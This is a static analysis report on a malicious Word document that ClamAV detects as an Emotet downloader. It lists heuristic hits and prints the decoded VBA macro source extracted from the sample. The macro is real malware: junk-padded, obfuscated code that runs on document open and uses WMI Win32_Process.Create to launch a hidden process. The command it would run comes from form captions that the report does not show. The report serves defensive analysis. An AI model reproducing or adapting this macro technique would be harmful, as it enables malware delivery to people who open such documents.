Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b993ce66cf6105ff…

MALICIOUS

Office (OLE)

121.3 KB Created: 2019-10-23 19:53:00 Authoring application: Microsoft Office Word First seen: 2021-01-15
MD5: 83e81e2ca7a297036e592f95c7393dc5 SHA-1: e9858e306d0272ae4bf91686c878c7cc0664c01e SHA-256: b993ce66cf6105fff6beaea7c785d80f5b018609fdc83654e96100898e0d83cd
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7354261-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7354261-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Abraham = CreateObject(Xlgtxhfv(Xlgtxhfv(AbrahamA)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24952 bytes
SHA-256: e5c5392dd53227555713f4870c6ac9a1bd03b47902f890ec19ed51482e0a659a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Fnsotnxon"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Kfsvtbmdui, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Fjtibnuievvr, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Wwasumsowytzj, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Iygwyinbqq, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Snalrtavcp, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Yqbzhskc, 5, 5, MSForms, CommandButton"
Attribute VB_Control = "Yriqhzqmsrzke, 6, 6, MSForms, CommandButton"
Attribute VB_Control = "Zouhjvdknej, 7, 7, MSForms, CommandButton"

Attribute VB_Name = "Atzxlbrpvyfr"
Function Abraham(AbrahamA)
On Error Resume Next
   ''' Majcher Inc Suite 520 East Krakowiak, Przybyla and Bednarski Suite 148 Southeast
Bikupgevntu = Int(390)
''' Wozniak and Sons Apt. 686 North Kowalik Inc Suite 269 West
Udewuccdr = Int(155)
''' Wróblewski - Jedrzejczyk Apt. 166 Southwest Glab - Jagielski Suite 448 Northeast
Coykruksshg = CInt(741)
Otnexjncdahkb = Sikkvvsaiuds
''' Janik, Bober and Pietruszka Suite 236 Northeast Krzyzanowski, Trzcinski and Soltys Apt. 577 Northeast
Twnjfhao = Log(13)
''' Gutowski - Drozd Apt. 662 Northeast Krukowski - Orlowski Suite 665 Northwest
Hynynraqh = Sgn(871)
''' Wronski, Mika and Gwózdz Suite 156 Southwest Iwanski Group Apt. 064 Southwest
Kxwxevsfkuqea = CSng("119.167.152.179")
''' Wasilewski, Pawlicki and Kruszewski Suite 644 South Zietek, Zmuda and Maslanka Apt. 731 Northwest
Set Abraham = CreateObject(Xlgtxhfv(Xlgtxhfv(AbrahamA)))
   ''' Grzesiak - Malecki Suite 464 West Kielbasa and Sons Apt. 471 North
Twflhnne = Sqr(123)
''' Stefaniak, Twardowski and Grzywacz Apt. 218 South Modzelewski - Rogala Apt. 154 North
Xipbczhxaw = CDate(972)
''' Augustyniak - Górecki Apt. 949 Southwest Kania Inc Suite 822 Southeast
Wlvvtrydcrjhb = Cos(663)
Avhrzviwbce = Podmbwztp
''' Krupa - Wlodarski Apt. 833 North Miller, Bielski and Czaja Suite 918 Southwest
Wgsjfyizclhb = Sqr(98)
''' Bogucki - Rutkowski Suite 683 Southwest Dobrzynski Group Apt. 850 South
Cboousolr = CSng(770)
''' Wilczynski, Rudnicki and Morawski Suite 106 East Karpinski, Koziol and Szczerba Apt. 212 Southwest
Nwfeaukjnvs = Hex("Direct893 Schultz Springs, New Dannie, Isle of Man")
''' Grzesiak - Mackiewicz Suite 955 Northeast Grudzien - Kruk Apt. 809 Southeast
End Function
Function Moequzxuqyvpe()
On Error Resume Next
   ''' Bielecki, Kula and Gasior Apt. 200 Southeast Markiewicz, Wlodarczyk and Chmielewski Apt. 977 Southwest
Spnwnmzicyzfz = CInt(507)
''' Slowinski Group Suite 919 West Staszewski - Grzesiak Apt. 834 North
Rhbfqthwrqksj = Hex(747)
''' Dubiel LLC Apt. 911 West Banas Inc Suite 452 Northeast
Lhkzljmuvofd = CStr(301)
Ykylimnux = Ktvgctqxh
''' Wójcik Group Apt. 990 South Niewiadomski LLC Apt. 870 East
Uzypenfrkqpo = Log(30)
''' Bielak - Rudzinski Suite 079 Southwest Krupa - Rutkowski Suite 139 Southwest
Mhayhqkhu = Sqr(588)
''' Noga - Rogala Suite 331 South Kruszewski LLC Apt. 495 West
Rntupglugqy = CByte("Direct3289 Willy Falls, Lake Brandy, Saudi Arabia")
''' Stolarczyk, Domagala and Krakowiak Suite 555 Southwest Kurowski LLC Apt. 119 Northwest
   ''' Sikora, Gutowski and Banach Apt. 829 South Pietrzyk, Banach and Mucha Apt. 782 Southwest
Weyurbnxyaz = Sgn(813)
''' Dlugosz LLC Apt. 901 Southwest Slawinski LLC Apt. 827 Northwest
Zrbwhuxdvpsw = CInt(846)
''' Fratczak, Kasprzak and Ksiazek Suite 994 West Warchol, Michalek and Kolodziejski Suite 769 East
Yrcbjoul = Sqr(229)
Ifyesalkxdcct = Zgjbpfyo
''' Sowa, Ciesla and Olczak Suite 181 Northeast Jurkiewicz - Janiszewski Suite 328 Northwest
Fwypbxnbeob = CDbl(578)
''' Lisiecki - Szydlowski Apt. 320 Northwest Filipiak LLC Suite 619 North
Ludhyzzwylyk = Atn(7)
''' Kula, Adamczak and Murawski Apt. 415 Northwest Mroczkowski - Flak Apt. 943 Northeast
Kasjqzondm = Fix("Haag and SonsApt. 726North")
''' Gadomski, Dabkowski and Drabik Apt. 450 Southwest Zmuda - Kaczor Suite 823 East
Lqtplnflr = Xlgtxhfv(Xlgtxhfv(Fnsotnxon.Yriqhzqmsrzke.Caption + Fnsotnxon.Zouhjvdknej.Caption))
   ''' Wójtowicz Inc Apt. 503 South Andrzejczak - Piekarski Suite 426 South
Nrvjvjrzexaay = Tan(78)
''' Sobczak, Wolny and Sroka Suite 504 Northeast Wisniewski Inc Apt. 953 Southeast
Lgyklptjl = Int(216)
''' Stepniak LLC Apt. 231 Southeast Pietruszka, Krajewski and Wesolowski Apt. 433 North
Yjqiqatmkl = Fix(816)
Mzjpqoxvp = Qxaqpjtijdi
''' Chmura, Kaczorowski and Misiak Apt. 597 Southeast Fijalkowski - Drzewiecki Apt. 443 North
Jvgagmmuj = Sin(294)
''' Krzeminski - Czechowski Apt. 748 Southwest Wiecek LLC Suite 365 Southeast
Kbaduojxzs = CStr(856)
''' Janik and Sons Apt. 272 Northwest Kula Group Suite 671 Southwest
Qjdcqdsceo = CInt("Cummings - StantonSuite 125Southeast")
''' Dabkowski - Bialek Suite 189 Northwest Pajak - Cybulski Suite 224 Southeast
   ''' Janiszewski - Wójcik Apt. 027 Northwest Lewicki Group Apt. 482 South
Vcsnotmyvvn = CLng(672)
''' Radomski, Adamczak and Domanski Suite 772 South Maciejewski, Pajak and Piotrowicz Suite 309 East
Wsbmxuce = Rnd(598)
''' Kolodziej - Szczepaniak Suite 824 West Przybysz, Wegrzyn and Niewiadomski Apt. 637 Southwest
Vjddueqdryd = Sin(591)
Ynqpbqne = Oczpiqsklem
''' Gawronski - Józwik Apt. 856 Southeast Stawicki - Czyz Apt. 618 South
Kpsufsvk = Sgn(51)
''' Malinowski Group Suite 787 Northwest Bialek Inc Apt. 758 South
Qdygeaod = Sqr(382)
''' Mikulski, Skibinski and Turek Suite 048 East Lesniak and Sons Apt. 395 North
Tpauphmzo = Sin("Steuber - KesslerSuite 751West")
''' Wieckowski Inc Suite 217 West Wojtczak - Szafranski Suite 208 Southwest
Set Rnjavtufy = Abraham(Fnsotnxon.Fjtibnuievvr.Caption + Fnsotnxon.Wwasumsowytzj.Caption + Fnsotnxon.Iygwyinbqq.Caption)
   ''' Cholewa, Czajka and Kotowski Suite 620 North Piórkowski - Kopczynski Apt. 480 West
Smxnspqueb = Tan(137)
''' Laskowski LLC Suite 763 North Cieslik - Ciesielski Suite 290 Northwest
Nfqkeuesckoj = Sqr(808)
''' Korzeniowski - Jagodzinski Suite 116 Northwest Malicki Group Suite 320 North
Epuaplbor = CSng(717)
Trftooetjsq = Hgulhhyoc
''' Chmiel, Andrzejewski and Nowinski Apt. 214 Northwest Napierala - Marczak Apt. 374 Northwest
Azelaryntt = CInt(572)
''' Romanowski, Chojnowski and Mucha Apt. 318 Southwest Gawel - Soltysiak Suite 610 North
Yynvkqbm = Hex(411)
''' Dudek, Wilczek and Kolakowski Apt. 328 North Markowski, Cieslik and Kurowski Suite 748 Northwest
Ptjqqgjycr = CInt("124.114.70.115")
''' Lukaszewski - Kedzierski Suite 787 East Zieba - Pietrzyk Suite 744 North
   ''' Niemczyk - Michalski Apt. 248 Southeast Markowski LLC Suite 584 South
Eulaquroh = Cos(813)
''' Adamek LLC Apt. 533 North Golebiowski - Przybylski Apt. 120 North
Bbxswmeatphx = Int(135)
''' Kazmierczak - Kaniewski Apt. 863 North Rosa and Sons Apt. 206 Southeast
Rsvqehbgobzp = CBool(420)
Vrumwwvozn = Hceoxxzgycvxc
''' Kaczmarczyk - Tokarski Suite 845 North Matuszewski LLC Apt. 765 Southeast
Vnwsgovebuv = CBool(475)
''' Matusiak - Burzynski Apt. 524 West Lipski - Zwolinski Suite 917 Northeast
Ycsigezzczd = Int(888)
''' Wojtczak - Rybak Suite 332 East Jankowiak, Wrona and Kaluza Suite 334 East
Qltvxjufabd = CSng("Zemlak and SonsSuite 698Northwest")
''' Staniszewski - Rybarczyk Suite 522 Southeast Burzynski - Karpinski Apt. 611 Southeast
   ''' Matuszak Group Suite 741 South Kasprzak, Grzeskowiak and Kopczynski Apt. 330 Northeast
Uqnehqhlqdi = Tan(323)
''' Jaskiewicz, Kaczorowski and Baranowski Suite 065 Southwest Górniak, Wojciechowski and Rózanski Apt. 185 Southwest
Eyuqirgbane = Int(504)
''' Musial, Majchrzak and Kowalik Apt. 640 East Slawinski Group Apt. 729 Southwest
Bwgkyepbgthpr = Log(523)
Exqaeugrakoau = Cijlokegeewn
''' Stanislawski, Skalski and Kujawski Suite 147 Northeast Kopec, Dudzik and Drabik Apt. 554 Northeast
Nbqtiwcxe = Hex(370)
''' Banas - Kielbasa Apt. 655 Southeast Pietrzak - Grzyb Suite 468 South
Vegzkdvo = Sin(915)
''' Augustyn Group Suite 240 Northwest Sowinski, Bochenek and Wojtczak Apt. 922 Northeast
Yfgjnarmvih = Hex("Chips")
''' Sieradzki Group Suite 711 Southwest Malicki, Sobczak and Majcher Suite 473 Southeast
Rnjavtufy.ShowWindow = 8200347# - 8200347#
   ''' Maslanka, Romanowski and Zablocki Apt. 096 West Markiewicz, Nowaczyk and Stelmach Suite 302 East
Atnzkqstczyt = Log(580)
''' Witek, Sobczyk and Orzechowski Suite 655 Southwest Domanski Inc Apt. 351 East
Syxeltwukrp = CStr(265)
''' Makowski, Piatek and Zielinski Suite 982 East Kaczmarek - Witek Suite 343 East
Xfdxfbafa = Log(434)
Gpvmniexxbj = Kgvxfivjbk
''' Kwiatkowski, Buczynski and Czech Suite 037 East Michalik - Koza Suite 106 Northeast
Ybtsdjrqkxw = Rnd(197)
''' Maciag - Muszynski Apt. 299 South Bartnik - Gasiorowski Suite 196 Northwest
Hcmsleokrn = Log(776)
''' Mierzejewski Inc Apt. 004 South Markowski and Sons Apt. 874 South
Czrndfeby = CDate("Bike")
''' Kaczmarczyk LLC Suite 795 Northeast Sobolewski Inc Apt. 100 Northwest
   ''' Rudnicki, Kacprzak and Olejnik Suite 545 North Bartnik LLC Suite 659 Northeast
Ogglipzuctap = Sqr(556)
''' Kopec, Stachowicz and Flis Suite 920 Northeast Jarzabek, Bober and Kus Apt. 146 West
Lvxdffte = CBool(206)
''' Krawczyk Group Apt. 781 Southwest Twardowski - Szczepanik Suite 520 West
Nuaxhqel = Log(420)
Ekmiacbaszc = Iwjbqeqyjkbyn
''' Rakowski and Sons Suite 280 Northeast Mucha - Domagala Suite 518 East
Mmooqvya = Int(520)
''' Górny, Klimek and Maciag Suite 769 North Krysiak, Kruszewski and Furman Suite 409 North
Ddesmwbaysa = Atn(849)
''' Kulik Inc Apt. 133 East Dudziak, Rózanski and Polak Apt. 395 Southwest
Nhjquzkjmnz = Hex("Sausages")
''' Wnuk LLC Suite 403 West Kotowski - Niemczyk Apt. 711 Northeast
   ''' Bochenek - Krysiak Apt. 800 North Szczepanski - Kwiecinski Apt. 330 West
Opsuygdab = Round(337)
''' Pietrzyk - Dubiel Apt. 336 West Piasecki, Nowinski and Wlodarski Suite 819 Northeast
Cclwudupihj = Round(10)
''' Slowinski and Sons Suite 511 Southwest Dudzik - Niedzielski Suite 112 South
Fcckkjeezafm = Oct(691)
Nbxqaedo = Tbwgumyerz
''' Staniszewski Inc Apt. 911 West Dec Inc Apt. 036 Northwest
Dtprdldbfkgb = Int(423)
''' Mikulski - Fraczek Apt. 780 West Góra, Urbaniak and Gadomski Apt. 764 West
Krjtqqqsrjm = Log(391)
''' Olejnik - Bartosik Apt. 969 Northwest Marczak, Król and Banasik Suite 714 Southwest
Mbaupnrxea = Tan("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0 rv:3.0; LI) AppleWebKit/531.2.1 (KHTML, like Gecko) Version/5.0.0 Safari/531.2.1")
''' Nowak Group Suite 537 Northwest Skowron and Sons Suite 324 Northwest
Kpamleqtxgam = Abraham2("hdnshdnshdnshdnshdnswihdnshdnshdnsnmghdnshdnsmts:Wihdnsn3hdnshdnshdns2_Prhdnshdnshdnsocesshdnshdns", Lqtplnflr, Rnjavtufy)
   ''' Lach LLC Suite 749 East Wasiak, Kasprzyk and Olejniczak Apt. 347 Northwest
Zhlwopkkpnpek = Cos(168)
''' Pawelec Inc Suite 603 South Lukaszewski - Trojanowski Suite 642 Southwest
Ypojbqmsoezas = Hex(620)
''' Nawrocki - Kaczmarczyk Apt. 816 Northwest Zietek, Plonka and Zareba Apt. 173 Northeast
Krtyfcfaj = Log(785)
Csjrbqboz = Uvfnpxsppra
''' Górski LLC Apt. 144 West Karas - Lipski Apt. 504 North
Xkllusof = Cos(268)
''' Chmielewski - Romanowski Apt. 289 Southwest Sowa - Piwowarczyk Apt. 312 South
Otiwciyekrtx = Fix(998)
''' Bialas - Kucharski Apt. 662 East Brzezinski, Klosowski and Szymczyk Apt. 518 South
Sniitppbjgtr = CDbl("Pants")
''' Lisowski, Borowiec and Adamczak Apt. 332 Northwest Kosinski, Stanek and Cebula Apt. 112 Northeast
   ''' Palka - Filipiak Apt. 985 South Krupa Inc Suite 867 North
Tlwgxiizu = CStr(217)
''' Piotrowski - Czerwinski Apt. 360 Southwest Rojek, Szczepaniak and Kawecki Suite 027 Southwest
Jmlqyysu = Tan(695)
''' Mucha Inc Apt. 451 West Florczak, Zaborowski and Dudzik Suite 079 North
Rdntfbhufrx = Tan(930)
Ixhgbukqydxtb = Dczmisch
''' Markiewicz - Zukowski Suite 185 East Jankowski - Brzozowski Apt. 411 West
Rgaepyfvodt = CByte(523)
''' Stelmach, Bielski and Mikulski Suite 019 Southeast Maciag - Czerwinski Suite 160 South
Raqxszqzepgr = Sin(355)
''' Marciniak, Skowronski and Rudnicki Suite 976 Southeast Grabowski, Cebula and Gawlik Apt. 087 Southwest
Lfffpytjnklj = Rnd("Gloves")
''' Ptak and Sons Apt. 430 North Knapik - Kubica Apt. 260 Southeast
End Function

Attribute VB_Name = "Ylwpbedehkkg"
Function Abraham2(AbrahamA21, AbrahamA22, AbrahamA23)
On Error Resume Next
   ''' Witczak - Niewiadomski Apt. 458 Northwest Szczepanski, Czarnecki and Jaworski Apt. 780 East
Bouuktajy = Cos(650)
''' Kula - Kucinski Suite 934 Southeast Piotrowicz - Piwowarczyk Suite 308 Northeast
Ypntdwyksixmi = Hex(655)
''' Rudnicki, Broda and Skowronek Apt. 594 North Chrzanowski, Malicki and Skowronski Apt. 861 Southwest
Afnbxeazzxlr = CDbl(287)
Bwgnbdioo = Vwyzebmtssuww
''' Strzelczyk, Malec and Rakowski Suite 512 North Filipowicz, Cichy and Maj Suite 272 North
Xqowreefrlqz = Oct(553)
''' Gasior, Baran and Wojtas Apt. 089 East Budzynski, Kos and Trojanowski Apt. 443 North
Klrjfciczvvzy = CDate(541)
''' Janus Inc Apt. 695 North Wojciechowski and Sons Apt. 208 Southeast
Hakcggrarmr = Hex("174.248.152.116")
''' Warchol, Warchol and Stachowicz Apt. 486 West Dabek LLC Apt. 160 West
Set AbrahamA211 = Abraham(AbrahamA21)
   ''' Rosa Group Suite 360 South Szczepanski - Zawadzki Suite 860 Northeast
Hreiadwsx = CSng(897)
''' Gajewski LLC Suite 575 West Chudzik - Krzeminski Suite 900 South
Pmaflbwqyykvv = Sgn(46)
''' Slowik Inc Apt. 884 East Kucharczyk, Zwolinski and Palka Suite 045 North
Ihnsgubbvxquq = CBool(80)
Cdxmqlcbzdawd = Vjwduoeebenke
''' Wolinski Group Apt. 594 East Kurek - Grzegorczyk Apt. 243 Southeast
Ggqyvhyiulfg = CSng(715)
''' Grzesik, Bednarz and Matuszak Suite 737 South Chrzanowski, Sosnowski and Wolak Suite 469 Northwest
Fxyvzbhymek = CStr(574)
''' Dominiak, Chmiel and Gil Suite 971 South Glogowski - Baranowski Suite 068 East
Wicbxtewugfkp = Log("Chips")
''' Kuchta, Swierczynski and Jedrzejczak Apt. 627 Southeast Ostrowski, Grzesik and Wojtczak Apt. 635 Northeast
Abraham2 = AbrahamA211.Create(AbrahamA22, Ifsuqvjgmctry, AbrahamA23, Zmmxhwtgz)
   ''' Piotrowski and Sons Apt. 186 South Kurowski, Jedrzejczyk and Filipek Apt. 104 Northeast
Fznqmqhwki = Cos(745)
''' Wolinski and Sons Apt. 584 Southwest Chrzanowski Group Apt. 367 Southwest
Zewiudel = Oct(546)
''' Maj - Graczyk Suite 331 Northwest Piwowarczyk Group Apt. 675 East
Pszsugrtdapmg = CDate(552)
Kmpptpjbkx = Uobhztjj
''' Kubiak - Kubacki Apt. 116 Southeast Malicki, Swiatek and Raczynski Suite 868 Northeast
Tvbfrfblnxey = CDbl(911)
''' Piotrowicz LLC Suite 728 Northwest Kubiak, Trzeciak and Bogusz Apt. 245 Northwest
Pwwgfrovwex = Cos(145)
''' Wawrzyniak, Golab and Kaminski Suite 384 Northwest Kaszuba, Lesniewski and Zielinski Apt. 098 West
Sqsxhqss = Round("Table")
''' Wnuk and Sons Suite 256 West Skóra, Siwek and Wawrzyniak Apt. 510 Southwest
End Function
Sub autoopen()
On Error Resume Next
   ''' Nawrocki, Hajduk and Kuchta Apt. 730 West Góra - Sitek Apt. 802 Southeast
Ftvbfcqbycamu = Sgn(368)
''' Przybylski - Jedrzejewski Apt. 666 South Cieslik - Pilarski Suite 673 Southwest
Npfdsfbba = CDbl(317)
''' Jarzabek and Sons Suite 961 Southwest Szczesna, Blaszczyk and Kruk Suite 396 Northeast
Qcazmivqv = Round(924)
Kguenvzlatii = Hequeruyzmnbz
''' Grzesik - Krupinski Suite 709 Northeast Rózycki LLC Suite 177 Southeast
Qezzvezjnrfc = CLng(686)
''' Buczynski, Maslowski and Rojek Suite 865 South Tokarski - Marzec Apt. 521 North
Mhuhcfdf = Oct(311)
''' Górecki LLC Suite 242 West Szymanski, Zietek and Milewski Apt. 603 Northeast
Qxmhiqmwjtko = CLng("Mozilla/5.0 (Windows NT 5.0; Win64; rv:8.0) Gecko/20100101 Firefox/8.0.8")
''' Kacprzak, Koziol and Zablocki Suite 559 South Gawron - Kuc Apt. 554 Northwest
   ''' Madej, Gajewski and Winiarski Suite 622 Southeast Przybylski Group Apt. 771 Northwest
Nilhoxweghodw = Int(52)
''' Wnuk - Sroka Apt. 379 North Zak, Baranowski and Zygmunt Suite 241 Northeast
Nnwrrmqux = Int(416)
''' Modzelewski - Dudziak Suite 461 Northwest Maciag Group Suite 364 South
Gkecsjzltcaes = Atn(901)
Lbynubifwfub = Xnnpsrmzdp
''' Sliwa - Niemczyk Suite 657 East Ossowski, Podgórski and Jablonski Apt. 172 Southeast
Kxemidha = Fix(653)
''' Bujak - Gawlik Apt. 012 Northwest Jasinski - Gruszka Apt. 053 Northeast
Wkwtxehwxha = CDbl(789)
''' Swierczynski, Jackowski and Tomaszewski Apt. 807 Southwest Stefanski, Lukasik and Szymanski Apt. 976 East
Pmpatelyihqrl = Int("Cheese")
''' Nawrot, Grudzien and Hajduk Suite 739 South Michalak Inc Suite 036 Northwest
Moequzxuqyvpe
   ''' Mackiewicz and Sons Apt. 604 North Kosinski and Sons Suite 034 West
Uyxtstaqlvtgy = CDate(248)
''' Stankiewicz, Romanowski and Korzeniowski Apt. 345 Northeast Stanislawski - Górniak Suite 076 East
Vijeqqajfxltx = Round(275)
''' Skalski, Grzelak and Jurkiewicz Suite 158 East Krawiec - Borkowski Apt. 190 Southeast
Gkrextfhucho = Sqr(972)
Sfdnrvhoxy = Prvhadvpoipu
''' Gasior, Pietruszka and Jankowski Apt. 708 Southeast Golab Inc Apt. 166 Northwest
Papcicsw = Atn(803)
''' Paczkowski - Jablonski Apt. 061 Northeast Zurek Inc Apt. 348 East
Hgfznsnswddo = CByte(608)
''' Dec, Madej and Zaremba Suite 591 West Bednarz and Sons Suite 727 West
Cdssykpjjp = CInt("Forward4174 Clement Vista, North Elliotberg, Ghana")
''' Skrzypczak - Janicki Suite 785 Northeast Wieckowski, Staniszewski and Lukasiewicz Apt. 363 Southwest
   ''' Bialas - Cygan Suite 786 North Wilczynski - Panek Suite 847 South
Zniwmjmmannw = Atn(317)
''' Wolak LLC Suite 412 Southwest Dziedzic - Noga Apt. 207 West
Vzrgkjkysvyo = Log(834)
''' Robak and Sons Apt. 667 Southeast Rucinski - Ciesielski Suite 978 West
Lcnnfclht = CDbl(944)
Pplhphgdblz = Ughavnxykh
''' Rosiak, Koper and Kedziora Suite 753 Southeast Jarzabek LLC Apt. 485 East
Aaqvgnftqutzq = CBool(778)
''' Rogalski Inc Apt. 653 East Zuk, Raczynski and Bialek Apt. 963 East
Skxslgbtyvk = Log(102)
''' Majchrzak LLC Apt. 431 Southwest Lasota - Kowalczyk Apt. 518 Northeast
Zrfijjphp = CByte("Dietrich IncSuite 980Northeast")
''' Rucinski, Brzozowski and Paluch Apt. 310 South Sadowski Group Apt. 526 South
End Sub
Function Xlgtxhfv(Nilhnujr)
On Error Resume Next
   ''' Kaczmarski and Sons Suite 973 North Janiszewski Inc Suite 128 Southeast
Hratvrvoxgeu = Sgn(362)
''' Krukowski - Jagodzinski Suite 708 West Zebrowski - Karczewski Suite 368 South
Wvhgktxnoqtiz = Round(239)
''' Szymkowiak, Lisiecki and Stanislawski Suite 599 Northwest Zietek - Borkowski Apt. 018 Southeast
Wmsugqdi = Sin(293)
Kxnilyqjxct = Vtwtdjanr
''' Skalski Inc Suite 150 West Jurkowski, Wróblewski and Krupa Suite 754 Southeast
Aumavgsmeq = Hex(636)
''' Glowacki LLC Apt. 295 South Chrzanowski, Bartkowiak and Skrzypczak Apt. 584 Northwest
Kfcrczctkkewa = CLng(807)
''' Zablocki LLC Apt. 624 South Jagodzinski - Slusarczyk Suite 884 Northeast
Aydcsxcirmqnr = Sqr("Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/536.2.0 (KHTML, like Gecko) Chrome/18.0.813.0 Safari/536.2.0")
''' Szulc Group Apt. 777 Northwest Grzesik - Kulesza Apt. 757 North
   ''' Budzynski, Kujawa and Napierala Suite 459 South Rusin, Porebski and Marcinkowski Suite 926 East
Jhujdtmwl = CStr(875)
''' Siedlecki Group Apt. 951 North Kowalski, Szulc and Komorowski Suite 058 Northeast
Srkurnav = Cos(191)
''' Kruszewski, Szwarc and Stec Suite 298 Southwest Cieslak Inc Suite 224 Northeast
Aktngylje = Oct(613)
Alffsszciqpy = Jhleldkwaiwaw
''' Zurawski - Dabrowski Suite 184 Northwest Gajewski, Czyz and Zawadzki Apt. 716 East
Bmhelrffpzvb = CLng(79)
''' Surma Group Apt. 559 West Michalak, Bartczak and Zagórski Suite 169 Southwest
Nllarxrzftghe = CByte(670)
''' Mazurkiewicz - Rosa Suite 653 North Bartczak, Stasiak and Tomczyk Suite 294 Northwest
Jrvchheiuhedc = CByte("International30288 Beier Lodge, Port Freidamouth, Marshall Islands")
''' Koziol LLC Apt. 841 East Kasprzyk and Sons Suite 805 North
Kbmcvbvtqculs = Nilhnujr
   ''' Buczynski LLC Suite 352 West Owczarek and Sons Apt. 622 North
Vrvkumdmbj = Fix(883)
''' Grzeskowiak - Dec Apt. 278 North Rak - Mazurkiewicz Apt. 920 Southwest
Gglbvqhpjdnl = Hex(169)
''' Szelag and Sons Apt. 353 West Jaros Group Apt. 095 Southeast
Jfjfyuqkxou = Sin(705)
Mdyrfebabfgc = Xzrekxhc
''' Kazmierczak and Sons Suite 837 West Michalski and Sons Suite 013 North
Vlgewiwg = Sin(347)
''' Klos - Wrona Suite 706 Southwest Pietruszka, Chmiel and Zietek Suite 605 East
Umkmihlmizcdh = CByte(992)
''' Chojnowski - Pakula Suite 309 North Wysocki Group Apt. 740 Southwest
Lfkkynkevvux = Round("Opera/13.23 (Windows NT 5.0; U; TK Presto/2.9.179 Version/12.00)")
''' Muszynski, Michalek and Bielski Suite 106 West Gwózdz, Gawron and Stefanski Suite 658 West
   ''' Zyla - Smolinski Apt. 239 Northwest Czechowski, Trojanowski and Stachowiak Apt. 100 North
Ccpauzwajfxlf = Cos(928)
''' Kwiecien LLC Apt. 509 Northeast Tokarski - Sobieraj Apt. 422 South
Hmvxkzyjfmw = Sin(522)
''' Dominiak Inc Apt. 731 North Kot Group Suite 650 North
Wdadakqvwcp = Int(593)
Qzxqrtyziihx = Etjoxigdfftlu
''' Miller, Partyka and Borowiec Apt. 179 Southeast Pasternak - Marciniak Apt. 438 Northeast
Kjfzpiymovdr = Int(210)
''' Wlodarczyk - Banasik Apt. 936 South Janowski - Dudziak Apt. 190 Southeast
Vsgxmlcmosp = CInt(259)
''' Markowski - Tomaszewski Suite 290 South Karpinski Inc Suite 695 North
Urwfzzhxyc = Cos("53.191.123.57")
''' Grzelak Inc Suite 007 South Stachowiak, Wrona and Tomaszewski Suite 766 Northeast
Ceomaifskibn = ("hdns")
   ''' Mazurkiewicz, Wlodarczyk and Kujawa Apt. 348 Northwest Nawrocki, Flak and Luczak Suite 460 East
Mhrqtbtwdfjnq = Rnd(845)
''' Strzelczyk, Kowalik and Siwek Suite 766 West Grzywacz LLC Apt. 740 Southwest
Rwxiclge = CBool(930)
''' Pawlikowski - Pakula Suite 867 West Gawlik Inc Suite 141 Northeast
Cackuhxvedqp = Int(132)
Vmihbktkgllc = Fnfcuxrar
''' Rogalski - Szczygiel Apt. 992 Southeast Wróbel - Kowalewski Suite 958 Northwest
Ymrlejbmfn = Sqr(905)
''' Rogala, Ciesielski and Bielawski Apt. 301 Northeast Madej - Markiewicz Suite 626 North
Zcnyrtqz = Hex(87)
''' Szwed Group Suite 894 West Gasiorowski, Wlodarski and Janicki Apt. 443 West
Qprynvmbuu = Tan("Lang LLCApt. 933North")
''' Kujawski and Sons Apt. 016 Northwest Olejnik - Kujawski Suite 386 Southeast
   ''' Rózanski - Skiba Suite 097 Northwest Pietruszka - Ciesielski Apt. 849 North
Mdgdyujownuk = Hex(514)
''' Duda LLC Suite 390 Northwest Lukaszewski - Janiak Apt. 974 West
Hzifnmxksw = Round(234)
''' Maliszewski LLC Suite 743 North Pajak, Lipski and Kucharczyk Apt. 581 Northwest
Sweysiwjdj = Fix(870)
Dkscguwbjem = Hawvckkvmbmj
''' Kedzierski - Domanski Apt. 845 Northwest Michalik Inc Suite 478 East
Lndhxhtbduud = Int(573)
''' Szczesniak, Karas and Sochacki Apt. 287 West Polak and Sons Suite 581 North
Gcokggli = Round(622)
''' Markiewicz - Jankowski Apt. 140 North Pilarski Group Apt. 329 Northwest
Ayhsrifsjzk = Sqr("Hat")
''' Kielbasa LLC Suite 451 Northwest Stachowiak - Pluta Suite 094 Northwest
Xlgtxhfv = Replace(Kbmcvbvtqculs, Ceomaifskibn, "")
